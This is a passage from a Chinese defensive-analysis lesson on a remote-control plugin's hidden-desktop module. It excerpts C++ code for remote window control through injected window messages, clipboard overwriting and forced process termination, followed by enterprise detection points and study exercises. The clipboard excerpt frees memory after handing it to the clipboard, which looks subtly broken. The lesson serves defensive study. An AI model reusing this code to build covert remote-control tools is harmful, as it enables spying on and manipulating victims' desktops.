// 防御分析注释:这些命令覆盖屏幕查看、剪贴板、显示设置和后台控制。
// 本课只做风险归类,不提供触发方式。
void CScreenHideManager::OnReceive(LPBYTE lpBuffer, UINT nSize)
{
    if (lpBuffer[0] == TOKEN_HEARTBEAT)
        return;

    switch (lpBuffer[0])
    {
    case COMMAND_FLUSH_HIDE:
    case COMMAND_SCREEN_RESET_HIDE:
        // 防御分析注释:刷新或重置画面会触发新的位图信息和帧数据。
        ResetScreen(32);
        break;

    case COMMAND_SCREEN_CONTROL_HIDE:
        // 防御分析注释:这是后台窗口控制入口。
        // 后续会把外部消息转成 WindowFromPoint、PostMessage、MoveWindow 等用户态窗口操作。
        ProcessCommand(lpBuffer + 1, nSize - 1);
        break;

    case COMMAND_SCREEN_FPS_HIDE:
        // 防御分析注释:远端可改变帧率,网络流量形态会随之变化。
        m_fps = (int)(*(LPBYTE)&lpBuffer[1]);
        m_pScreenSpy->SetFps(m_fps);
        break;

    case COMMAND_SCREEN_GET_CLIPBOARD_HIDE:
    case COMMAND_SCREEN_SET_CLIPBOARD_HIDE:
        // 高风险:剪贴板读取和写入。
        break;

    case COMMAND_SCREEN_SETSCREEN_HIDE:
        // 高风险:修改显示设置。
        break;

    case COMMAND_HIDE_USER:
        // 高风险:涉及任务栏/用户感知相关行为。
        break;
    }
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43

ProcessCommand 是后台窗口模块最敏感的部分。它把外部输入转换为本机窗口消息,风险不在某一个 API,而在“窗口定位 + 命中测试 + 消息投递 + 移动窗口”的组合。

// 源码位置:主插件\后台屏幕\后台屏幕\ScreenHideManager.cpp:773-987
// 对应位置:主插件\后台窗口\后台窗口\ScreenHideManager.cpp:773-974
// 防御分析注释:ProcessCommand 把外部输入转换成本机窗口消息。
// 本课只用于识别高风险 API 链,不展开可操作细节。
void CScreenHideManager::ProcessCommand(LPBYTE lpBuffer, UINT nSize)
{
    if (nSize % m_MYtagMSGsize != 0)
        return;

    // 防御分析注释:控制窗口前先把线程切到后台桌面。
    // 这说明窗口定位和消息投递发生在 g_hHideDesktop 指向的桌面上下文中。
    SetThreadDesktop(g_hHideDesktop);

    int nCount = nSize / m_MYtagMSGsize;
    for (int i = 0; i < nCount; i++)
    {
        m_MYtagMSG = (MYtagMSG*)(lpBuffer + i * m_MYtagMSGsize);

        // 防御分析注释:坐标来自外部消息,源码会据此寻找命中的窗口。
        // WindowFromPoint 出现在未知进程的远程控制链里时,应和网络输入关联。
        POINT point;
        point.x = m_MYtagMSG->x;
        point.y = m_MYtagMSG->y;
        HWND hWnd = WindowFromPoint(point);

        // 防御分析注释:WM_NCHITTEST 用于判断鼠标命中了标题栏、边框、关闭按钮等区域。
        // 这类逻辑说明代码不只是看窗口,还试图模拟窗口交互。
        LRESULT hit = SendMessageA(hWnd, WM_NCHITTEST, NULL, m_MYtagMSG->lParam);

        // 防御分析注释:PostMessage/MoveWindow/ChildWindowFromPoint 等组合代表窗口级控制能力。
        // 安全化节选:省略可直接复用的高风险细节,
        // 防御侧重点记录调用进程、目标窗口、消息类型和前后网络事件。
        PostMessage(hWnd, m_MYtagMSG->message, (WPARAM)m_MYtagMSG->wParam, m_MYtagMSG->lParam);
    }
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35

后台窗口还叠加了剪贴板和显示设置。剪贴板里可能出现口令、验证码、访问令牌、业务文本;显示设置修改则可能影响用户正在进行的工作。

13. 后台窗口控制面:从看见窗口到操作窗口(配图)

// 源码位置:主插件\后台屏幕\后台屏幕\ScreenHideManager.cpp:994-1025
// 对应位置:主插件\后台窗口\后台窗口\ScreenHideManager.cpp:977-1008
// 防御分析注释:后台窗口模块可写入剪贴板。
// 未知进程读写剪贴板,应和窗口查看、网络发送一起关联。
void CScreenHideManager::UpdateLocalClipboard(char* buf, int len)
{
    if (!::OpenClipboard(NULL))
        return;

    // 防御分析注释:清空并替换剪贴板属于高敏行为。
    // 合法远程协助必须有用户可见提示和操作留痕。
    ::EmptyClipboard();

    HGLOBAL hglbCopy = GlobalAlloc(GMEM_MOVEABLE, len);
    if (hglbCopy != NULL)
    {
        LPTSTR lptstrCopy = (LPTSTR)GlobalLock(hglbCopy);
        memcpy(lptstrCopy, buf, len);
        GlobalUnlock(hglbCopy);
        SetClipboardData(CF_TEXT, hglbCopy);
        GlobalFree(hglbCopy);
    }
    CloseClipboard();
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24

把后台桌面和后台窗口放在同一条链路中看,风险不是单个命令,而是这些能力被放到一个远程会话中:后台桌面、窗口采集、窗口控制、剪贴板、显示设置和压缩发送。

# 14. 清理后台桌面

停止时,源码尝试枚举后台桌面窗口,反查进程并终止,然后切回默认桌面并关闭句柄。

// 源码位置:主插件\后台屏幕\后台屏幕\ScreenHideManager.cpp:1162-1215
// 防御分析注释:清理逻辑会枚举后台桌面窗口并终止相关进程。
// 企业侧可把 EnumDesktopWindows、OpenProcess(PROCESS_TERMINATE)、TerminateProcess 作为高风险组合。
void CScreenHideManager::DestroyHideScreen()
{
    if (g_hHideDesktop == NULL)
        return;

    ::EnumDesktopWindows(g_hHideDesktop, [](HWND hwnd, LPARAM param) -> BOOL {
        DWORD pid = 0;
        ::GetWindowThreadProcessId(hwnd, &pid);
        if (pid != 0)
        {
            HANDLE hp = ::OpenProcess(PROCESS_TERMINATE, FALSE, pid);
            if (hp != NULL)
            {
                ::TerminateProcess(hp, 0);
                ::CloseHandle(hp);
            }
        }
        return TRUE;
    }, 0);

    HDESK hFrontDesktop = ::OpenDesktop(L"Default", 0, TRUE, GENERIC_ALL);
    if (hFrontDesktop != NULL)
    {
        ::SetThreadDesktop(hFrontDesktop);
        if (::CloseDesktop(g_hHideDesktop))
            g_hHideDesktop = NULL;
    }
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31

对合法软件来说,清理后台会话不应依赖强制终止进程。更合理的做法是:明确会话生命周期、显式关闭用户授权会话、记录操作日志,并确保不会影响用户正在使用的进程。

# 15. 能力限制:后台桌面不等于万能可视化

后台桌面经常被误解成“可以在用户不知道的情况下完整看到所有内容”。从系统原理看,这个判断并不准确。源码确实具备高风险查看和控制能力,但它仍受 Windows 桌面、会话、权限和渲染模型限制。

限制类型 具体表现 原因
桌面边界 只能枚举当前线程所属桌面里的窗口 SetThreadDesktop 把线程绑定到某个桌面,不能天然跨所有桌面
会话边界 不能天然看到其他登录会话或 Session 0 的 GUI Windows 会话隔离和服务隔离限制跨会话 GUI 访问
权限边界 打开 Winlogon 或安全桌面可能失败 安全桌面、UAC、完整性级别和访问控制会限制句柄权限
渲染边界 DirectX、视频、DRM、受保护窗口可能黑屏或缺帧 PrintWindow 依赖窗口响应绘制请求,GPU/受保护内容不一定回传像素
最小化窗口 有些最小化窗口返回旧画面或空白 窗口没有实时绘制可见内容
UWP/现代应用 画面可能不稳定或不可完整打印 DWM、应用容器和渲染管线不同于传统 GDI
输入控制 坐标命中和消息投递不一定生效 目标窗口权限、UIPI、前台规则、焦点状态都会影响消息处理
性能与质量 帧率低、画面撕裂、局部更新不准 JPEG/zlib 压缩、变化区域扫描和窗口绘制延迟会影响结果

从防御角度看,能力限制并不会降低风险等级。相反,它提醒我们检测时不能只依赖“是否成功截到图”。未知进程只要出现非默认桌面、窗口打印、压缩发送和窗口消息控制,就已经足够进入调查范围。

# 16. 企业检测点

16. 企业检测点(配图)

层面 检测点 说明
桌面对象 OpenDesktopCreateDesktopSetThreadDesktop 后台桌面核心行为
安全桌面 访问 Winlogon、高权限桌面句柄 普通业务进程很少需要此类访问
进程创建 CreateProcessSTARTUPINFO.lpDesktop 非默认 可能把 GUI 程序放到隐藏桌面
图形采集 PrintWindowBitBltCreateCompatibleDC 窗口级图像读取
图像编码 JPEG 编码、zlib compress 帧数据压缩
网络行为 TOKEN_*_HIDE、持续上行数据 屏幕数据发送
窗口控制 WindowFromPointWM_NCHITTESTPostMessageMoveWindow 后台窗口操作面
剪贴板 OpenClipboardSetClipboardData 隐私数据面
显示设置 ChangeDisplaySettings 影响用户桌面状态
进程处置 EnumDesktopWindowsTerminateProcess 异常清理行为
合规侧 用户提示、授权记录、退出机制 合法远程协助必须具备

高置信度关联逻辑:

  1. 未知进程建立外联连接。
  2. 同进程创建或打开非默认桌面。
  3. 同进程将 GUI 程序启动到该桌面。
  4. 同进程调用 PrintWindowBitBlt
  5. 同进程出现 JPEG/zlib 和持续发送。

同时满足 3 项以上时应重点调查;满足 4-5 项时应按高风险后台桌面/后台窗口会话处理。若再叠加剪贴板读写、窗口消息投递或显示设置修改,应提升为隐私和业务连续性双重风险。

# 17. 合法练习题

  1. 不运行插件,只阅读源码,画出 WorkThread -> CreateDesktop -> LaunchApplication -> SetThreadDesktop -> CScreenSpy 的调用链。
  2. 列出本课源码中所有桌面对象相关 API,并说明每个 API 的防御含义。
  3. 设计一条企业检测规则:进程创建非默认桌面后 30 秒内出现 PrintWindow 和外联发送时触发告警。
  4. 比较第 31 课高速屏幕、第 32 课差异屏幕、第 33 课娱乐屏幕和本课后台桌面,列出四者最大的检测差异。
  5. 说明正常桌面、后台桌面和安全桌面在用户可见性、输入焦点和权限边界上的差异。
  6. 列出至少 5 种可能导致 PrintWindow 画面为空或不完整的情况。
  7. 站在合法远程协助产品角度,写出后台会话必须具备的用户提示、授权确认、操作留痕和退出机制。

# 18. 本课小结

后台桌面与后台窗口的核心风险是“非默认桌面 + 窗口采集 + 窗口控制 + 压缩发送”。源码尝试创建或打开桌面对象,在该桌面启动进程,把线程切换到后台桌面,再通过窗口枚举、PrintWindowBitBlt、JPEG 和 zlib 生成屏幕帧并发送;同时还包含窗口消息投递、剪贴板和显示设置相关能力。企业检测要把桌面对象、进程创建、图形采集、窗口控制、压缩数据和长连接组合起来看,不能只依赖单个 API。

安全工程知识交流加wx:easy_coder,黑灰产勿扰,企业单位合作请出示有效证件。

上次更新: 2026/07/14, 19:37:40

社区交流

讨论与留言

前往 GitHub Issues →

本留言区仅对应当前文章,欢迎补充观点、提出问题或帮助修正文中疏漏。 留言由 GitHub/Gitalk 提供,需要使用 GitHub 登录。

最近更新
第 1 课:专栏导论与安全边界
07-01
第 3 课:安装编译与调试环境
07-01
第 4 课:第三方库下载、编译与依赖管理
07-01
更多文章>